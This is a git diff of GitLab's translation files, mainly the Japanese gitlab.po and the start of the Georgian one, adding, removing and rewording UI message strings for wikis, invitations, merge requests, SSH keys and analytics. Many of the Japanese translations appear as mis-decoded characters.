@@ -30724,9 +31463,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31023,6 +31759,15 @@ msgstr "To Do"
msgid "To GitLab"
msgstr "GitLab ã¸"
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr "ã“ã®ãƒ‰ãƒ¡ã‚¤ãƒ³ã«ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã«ã¯ã€æ–°ã—ã„DNSレコードを作æˆã—ã¦ãã ã•ã„"
@@ -31065,9 +31810,6 @@ msgstr "ã¯ã˜ã‚ã« FogBugz ã® URL ã¨ãƒ­ã‚°ã‚¤ãƒ³æƒ…報を入力ã—ã¦ãã ã
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr "ã¯ã˜ã‚ã«ã€Jaeger サーãƒãƒ¼ã«ã“ã®ãƒšãƒ¼ã‚¸ã‚’リンクã™ã‚‹ã‹ã€%{link_start_tag}Jaeger ã®ã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«%{link_end_tag}方法を確èªã—ã¾ã™"
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr "開始ã™ã‚‹ã«ã¯ã€Gitea Host ã® URL 㨠%{link_to_personal_token} を入力ã—ã¦ãã ã•ã„。"
@@ -31095,8 +31837,8 @@ msgstr "GitLab プロジェクト全体を別㮠GitLab インストールã‹ã‚‰
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
-msgstr "Jaeger ã‚’é–‹ãã€GitLab ã‹ã‚‰ç°¡å˜ã«ãƒˆãƒ¬ãƒ¼ã‚·ãƒ³ã‚°ã‚’表示ã™ã‚‹ã«ã¯ã€ %{link} ページをサーãƒãƒ¼ã«ãƒªãƒ³ã‚¯ã—ã¾ã™"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
+msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
msgstr ""
@@ -31200,6 +31942,9 @@ msgstr "絵文字リアクションをトグル"
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr "案内ã®åˆ‡ã‚Šæ›¿ãˆ"
@@ -31396,10 +32141,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31534,9 +32279,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr "サービスデスクを有効ã«ã™ã‚‹"
-
msgid "Turn on usage ping"
msgstr ""
@@ -31591,6 +32333,12 @@ msgstr "2è¦ç´ èªè¨¼ã¯HTTPSãŒæœ‰åŠ¹ãªWebサイトã§ã®ã¿å‹•ä½œã—ã¾ã™ã€‚
msgid "URL"
msgstr "URL"
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr "URLãŒå¿…è¦ã§ã™ã€‚"
@@ -31993,8 +32741,8 @@ msgstr "グループ ウェブフックを有効ã«ã™ã‚‹ãŸã‚ã«ã€ãƒ—ランã‚
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
-msgstr "マージリクエストã®æ©Ÿèƒ½ã‚’強化ã™ã‚‹ãŸã‚ã«ã€ãƒ—ランをアップグレード"
+msgid "Upgrade your plan to improve merge requests."
+msgstr ""
msgid "Upload"
msgstr ""
@@ -32002,6 +32750,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr "CSVファイルã®ã‚¢ãƒƒãƒ—ロード"
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32098,6 +32849,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr "パッケージ"
@@ -32296,9 +33050,6 @@ msgstr "%{link_start} スコープã®ãƒ©ãƒ™ãƒ«ã‚»ãƒƒãƒˆ%{link_end} を作æˆã™ã
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr "サービスデスクを使用ã—ã¦ã€GitLab 内ã®ãƒ¡ãƒ¼ãƒ«ã§ãƒ¦ãƒ¼ã‚¶ã¨æŽ¥ç¶šï¼ˆä¾‹ï¼šé¡§å®¢ã‚µãƒãƒ¼ãƒˆï¼‰"
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32350,6 +33101,9 @@ msgstr "ユーザー %{current_user_username} ㌠アカウント%{username} ã®
msgid "User %{username} was successfully removed."
msgstr "ユーザー %{username} を正常ã«å‰Šé™¤ã—ã¾ã—ãŸã€‚"
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32395,8 +33149,11 @@ msgstr ""
msgid "User was successfully created."
msgstr "ユーザーã¯æ­£å¸¸ã«ä½œæˆã•ã‚Œã¾ã—ãŸã€‚"
-msgid "User was successfully removed from group and any subresources."
-msgstr "ユーザーã¯ã‚°ãƒ«ãƒ¼ãƒ—ã¨ã™ã¹ã¦ã®ã‚µãƒ–リソースã‹ã‚‰æ­£å¸¸ã«å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
+msgstr ""
msgid "User was successfully removed from project."
msgstr "ユーザーã¯æ­£å¸¸ã«ãƒ—ロジェクトã‹ã‚‰å‰Šé™¤ã•ã‚Œã¾ã—ãŸã€‚"
@@ -32623,9 +33380,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr "次ã®å ´æ‰€ã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ã‚’è¦æ±‚ã—ã¦ã„るユーザー"
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr "ユーザーを正常ã«è¿½åŠ ã§ãã¾ã—ãŸã€‚"
@@ -32692,8 +33446,23 @@ msgstr "ãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ åˆ†æžã§ã¯ã€ã‚ãªãŸã®ãƒ—ロジェクト
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr "ã“ã®ã‚¹ãƒ†ãƒ¼ã‚¸ã‚’表示ã™ã‚‹ã®ã«å分ãªãƒ‡ãƒ¼ã‚¿ãŒã‚ã‚Šã¾ã›ã‚“。"
-msgid "ValueStreamAnalytics|%{days}d"
-msgstr "%{days}æ—¥"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
+msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
msgstr "最åˆã®ã‚³ãƒŸãƒƒãƒˆã‹ã‚‰ã‚¤ã‚·ãƒ¥ãƒ¼ã®ã‚¯ãƒ­ãƒ¼ã‚ºã¾ã§ã®æ™‚é–“ã®ä¸­å¤®å€¤ã€‚"
@@ -32701,6 +33470,12 @@ msgstr "最åˆã®ã‚³ãƒŸãƒƒãƒˆã‹ã‚‰ã‚¤ã‚·ãƒ¥ãƒ¼ã®ã‚¯ãƒ­ãƒ¼ã‚ºã¾ã§ã®æ™‚é–“ã®
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr "イシューã®ä½œæˆã‹ã‚‰ã‚¯ãƒ­ãƒ¼ã‚ºã¾ã§ã®æ™‚é–“ã®ä¸­å¤®å€¤ã€‚"
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr "デフォルトãƒãƒªãƒ¥ãƒ¼ã‚¹ãƒˆãƒªãƒ¼ãƒ ã¯å‰Šé™¤ã§ãã¾ã›ã‚“"
@@ -32850,9 +33625,15 @@ msgstr "ラベルを表示"
msgid "View log"
msgstr "ログã®è¡¨ç¤º"
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr "オープンãªãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’表示"
@@ -32880,6 +33661,9 @@ msgstr ""
msgid "View the documentation"
msgstr "ドキュメントã®è¡¨ç¤º"
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -32889,6 +33673,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33294,15 +34081,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33477,6 +34279,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33574,9 +34379,6 @@ msgstr "Gollum をインストール"
msgid "WikiClone|Start Gollum and edit locally"
msgstr "Gollum ã‚’èµ·å‹•ã—ã¦ãƒ­ãƒ¼ã‚«ãƒ«ã§ç·¨é›†ã™ã‚‹"
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr "ヒント:タイトルã®å…ˆé ­ã«ãƒ‘スを追加ã™ã‚‹ã¨ã€ã“ã®ãƒšãƒ¼ã‚¸ã‚’移動ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr "åŒã˜ãƒ‘スã«åŒã˜ã‚¿ã‚¤ãƒˆãƒ«ã®ãƒšãƒ¼ã‚¸ãŒæ—¢ã«ã‚ã‚Šã¾ã™ã€‚"
@@ -33649,18 +34451,6 @@ msgstr "履歴"
msgid "WikiHistoricalPage|most recent version"
msgstr "最新ãƒãƒ¼ã‚¸ãƒ§ãƒ³"
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
-msgstr "ãã®ä»–ã®ä¾‹ã«ã¤ã„ã¦ã¯ã€%{docs_link} ã‚’å‚ç…§"
-
-msgid "WikiMarkdownDocs|documentation"
-msgstr "ドキュメント"
-
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
-msgstr ""
-
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
-msgstr "ヒント:æ–°ã—ã„ファイルをフルパスã§æŒ‡å®šã—ã¾ã™ã€‚途中ã®å­˜åœ¨ã—ãªã„ディレクトリã¯è‡ªå‹•çš„ã«ä½œæˆã•ã‚Œã¾ã™ã€‚"
-
msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
msgstr "ã“ã®ãƒšãƒ¼ã‚¸ã‚’削除ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ"
@@ -33673,11 +34463,38 @@ msgstr "%{pageTitle} ページを削除ã—ã¾ã™ã‹ï¼Ÿ"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
-msgstr "%{pageTitle} を作æˆ"
+msgid "WikiPage|Commit message"
+msgstr ""
+
+msgid "WikiPage|Content"
+msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
-msgstr "%{pageTitle} ã‚’æ›´æ–°"
+msgid "WikiPage|Create %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
+msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "ã“ã“ã«ãƒ†ã‚­ã‚¹ãƒˆã‚’記入ã™ã‚‹ã‹ã€ãƒ•ã‚¡ã‚¤ãƒ«ã‚’ドラッグã—ã¦ãã ã•ã„。"
@@ -33688,9 +34505,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr "æ–°ã—ã„ページを作æˆ"
-msgid "Wiki|Create page"
-msgstr "ページを作æˆ"
-
msgid "Wiki|Created date"
msgstr "作æˆæ—¥æ™‚"
@@ -33703,9 +34517,6 @@ msgstr "æ–°ã—ã„ページ"
msgid "Wiki|Page history"
msgstr "ページã®å±¥æ­´"
-msgid "Wiki|Page title"
-msgstr "ページタイトル"
-
msgid "Wiki|Page version"
msgstr "ページã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³"
@@ -33766,6 +34577,9 @@ msgstr "コメントを書ãã‹ã€ã“ã“ã«ãƒ•ã‚¡ã‚¤ãƒ«ã‚’ドラッグ…"
msgid "Write a comment…"
msgstr "コメントを書ã..."
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr "マイルストーンã®èª¬æ˜Žã‚’書ã..."
@@ -33922,6 +34736,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34063,6 +34883,9 @@ msgstr "ã‚ãªãŸã«ã¯ã‚µãƒ–スクリプションãŒã‚ã‚Šã¾ã›ã‚“"
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr "ã‚ãªãŸã¯ã“ã® %{namespaceType} を離れる許å¯ã‚’å¾—ã¦ã„ã¾ã›ã‚“。"
@@ -34147,9 +34970,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34186,12 +35006,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr "ã‚ãªãŸã¯ã¾ã ãƒ—ロジェクトã«ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’追加ã—ã¦ã„ã¾ã›ã‚“"
-
-msgid "You haven't selected any issues yet"
-msgstr "ã‚ãªãŸã¯ã¾ã ã‚¤ã‚·ãƒ¥ãƒ¼ã‚’é¸æŠžã—ã¦ã„ã¾ã›ã‚“。"
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr "ã‚ãªãŸã¯ \"%{membershipable_human_name}\"%{source_type} を残ã—ã¾ã—ãŸã€‚"
@@ -34225,8 +35039,8 @@ msgstr "パスワードを変更ã™ã‚‹ã«ã¯ã€ç¾åœ¨ã®ãƒ‘スワードを入力
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
-msgstr "アクティブã«ãªã‚‹å‰ã«ã€ãƒ¡ãƒ¼ãƒ«å—ä¿¡ã®è¨­å®šã‚’ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "You must solve the CAPTCHA in order to submit"
+msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
msgstr "既存ã®ãƒ‡ã‚¶ã‚¤ãƒ³ä¸Šã«ãƒ‰ãƒ­ãƒƒãƒ—ã™ã‚‹å ´åˆã¯ã€åŒã˜ãƒ•ã‚¡ã‚¤ãƒ«åã®ãƒ•ã‚¡ã‚¤ãƒ«ã‚’アップロードã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
@@ -34240,9 +35054,6 @@ msgstr "続行ã™ã‚‹ã«ã¯ã€ãƒãƒ¼ã‚¸ãƒ§ãƒ³ %{min_git_lfs_version} (ã¾ãŸã¯
msgid "You need permission."
msgstr "権é™ãŒå¿…è¦ã§ã™"
-msgid "You need to be logged in."
-msgstr "ログインã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™"
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34426,12 +35237,18 @@ msgstr "プロジェクトã®æ´»å‹•"
msgid "Your Public Email will be displayed on your public profile."
msgstr "公開メールをã‚ãªãŸã®å…¬é–‹ãƒ—ロフィールã«è¡¨ç¤ºã—ã¾ã™ã€‚"
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "SSH éµ (%{count})"
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr "ã‚ãªãŸã®To Doリスト"
@@ -34552,6 +35369,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr "ライセンスã®æœ‰åŠ¹æœŸé™:"
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34645,7 +35465,7 @@ msgstr "Zoom ミーティングを削除ã—ã¾ã—ãŸ"
msgid "[No reason]"
msgstr "[ç†ç”±ã¯ã‚ã‚Šã¾ã›ã‚“]"
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34751,6 +35571,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35052,6 +35875,15 @@ msgstr "秘密éµã‚’読ã¿å–ã‚‹ã“ã¨ãŒã§ãã¾ã›ã‚“ã§ã—ãŸã€‚パスフレ
msgid "created"
msgstr "作æˆæ¸ˆã¿"
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35231,6 +36063,9 @@ msgstr "ヘルプ"
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr "https://your-bitbucket-server"
@@ -35400,8 +36235,8 @@ msgstr "ログイン"
msgid "manual"
msgstr "マニュアル"
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
-msgstr "ã“ã®ã‚¨ãƒ³ãƒˆãƒªã®æ•°å¼ã¯ãƒ¬ãƒ³ãƒ€ãƒªãƒ³ã‚°ã«æ™‚é–“ãŒã‹ã‹ã‚Šã™ãŽã¦ã€æœŸå¾…ã©ãŠã‚Šã«è¡¨ç¤ºã•ã‚Œãªã„å ´åˆãŒã‚ã‚Šã¾ã™ã€‚ パフォーマンス上ã®ç†ç”±ã‹ã‚‰ã€æ•°å¼ãƒ–ロックも%{maxChars} 文字ã«åˆ¶é™ã•ã‚Œã¦ã„ã¾ã™ã€‚ 大ããªæ•°å¼ã‚’分割ã™ã‚‹ã€è¤‡æ•°ã®ã‚¨ãƒ³ãƒˆãƒªé–“ã§æ•°å¼ãƒ–ロックを分割ã™ã‚‹ã€ã¾ãŸã¯ä»£ã‚ã‚Šã«ç”»åƒã‚’使用ã™ã‚‹ã“ã¨ã‚’検討ã—ã¦ãã ã•ã„。"
+msgid "math|Displaying this math block may cause performance issues on this page"
+msgstr ""
msgid "math|There was an error rendering this math block"
msgstr "ã“ã® math ブロックã®ãƒ¬ãƒ³ãƒ€ãƒªãƒ³ã‚°ä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸ"
@@ -35434,14 +36269,11 @@ msgstr "%{commitCount} ã‚’ %{targetBranch} ã«è¿½åŠ ã™ã‚‹ã€‚"
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1マージコミット"
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr "ç¾åœ¨ã€ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ã‚½ãƒ¼ã‚¹ãƒ–ランãƒã«å¤‰æ›´ã¯ã‚ã‚Šã¾ã›ã‚“。新ã—ãコミットをプッシュã™ã‚‹ã‹ã€åˆ¥ã®ãƒ–ランãƒã‚’使用ã—ã¦ãã ã•ã„。"
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
-msgstr "貢献をã—ãŸã„関係者ã¯ã€ã‚³ãƒŸãƒƒãƒˆã‚’プッシュã—ã¦è²¢çŒ®ã§ãã¾ã™ã€‚"
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
+msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
-msgstr "マージリクエストã¯ã€ãƒ—ロジェクトã«åŠ ãˆãŸã‚ãªãŸã®å¤‰æ›´ã‚’æ案ã—ã€ã¾ãŸãã®å¤‰æ›´ã‚’ä»–ã®ãƒ¡ãƒ³ãƒãƒ¼ã¨è©±ã—åˆã†ãŸã‚ã®å ´æ‰€ã§ã™ã€‚"
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
+msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "ブランãƒã‚’復元ã™ã‚‹ã‹ã€åˆ¥ã® %{missingBranchName} ブランãƒã‚’使用ã—ã¦ãã ã•ã„"
@@ -35554,9 +36386,6 @@ msgstr "フォークマージリクエストã¯ãƒã‚¹ãƒˆãƒžãƒ¼ã‚¸çµæžœã‚’検証
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr "%{branch} ブランãƒãŒãƒ­ãƒ¼ã‚«ãƒ«ãƒªãƒã‚¸ãƒˆãƒªã«å­˜åœ¨ã™ã‚‹å ´åˆã¯ã€ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’手動ã§ãƒžãƒ¼ã‚¸ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "%{missingBranchName} ブランãƒãŒãƒ­ãƒ¼ã‚«ãƒ«ãƒªãƒã‚¸ãƒˆãƒªã«å­˜åœ¨ã™ã‚‹å ´åˆã¯ã€ã‚³ãƒžãƒ³ãƒ‰ãƒ©ã‚¤ãƒ³ã‚’使用ã—ã¦ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’手動ã§ãƒžãƒ¼ã‚¸ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚"
@@ -35707,18 +36536,12 @@ msgstr "ソースブランãƒã‚’削除ã§ãるよã†ã«ãªã‚Šã¾ã—ãŸ"
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã‚’手動ã§ãƒžãƒ¼ã‚¸ã§ãã¾ã™"
-
msgid "mrWidget|Your password"
msgstr "パスワード"
msgid "mrWidget|branch does not exist."
msgstr "ブランãƒãŒå­˜åœ¨ã—ã¾ã›ã‚“。"
-msgid "mrWidget|command line"
-msgstr "コマンド ライン"
-
msgid "mrWidget|into"
msgstr "→"
@@ -35749,9 +36572,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr "開始日より後ã«ã—ã¦ãã ã•ã„。"
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -35818,15 +36638,6 @@ msgstr "順調"
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr "%{user}ãŒ%{email}ã§%{timeAgoString}ã«ã‚ªãƒ¼ãƒ—ン"
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr "%{user} ㌠%{timeAgoString} を開始ã—ã¾ã—ãŸã€‚"
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr "%{timeAgo}ã«ã‚ªãƒ¼ãƒ—ン"
@@ -36099,9 +36910,6 @@ msgstr "コントリビュータã®ã‚³ãƒŸãƒ¥ãƒ‹ã‚±ãƒ¼ã‚·ãƒ§ãƒ³ã‚’効率化ã™ã‚‹
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr "リストã¸"
-
msgid "toggle collapse"
msgstr "表示・éžè¡¨ç¤ºåˆ‡ã‚Šæ›¿ãˆ"
@@ -36147,6 +36955,12 @@ msgstr "ユーザーå"
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr "所有者を確èªã™ã‚‹"
diff --git a/locale/ka_GE/gitlab.po b/locale/ka_GE/gitlab.po
index dae1a11b14c..2545167ce8d 100644
--- a/locale/ka_GE/gitlab.po
+++ b/locale/ka_GE/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ka\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:53\n"
+"PO-Revision-Date: 2021-04-02 00:14\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
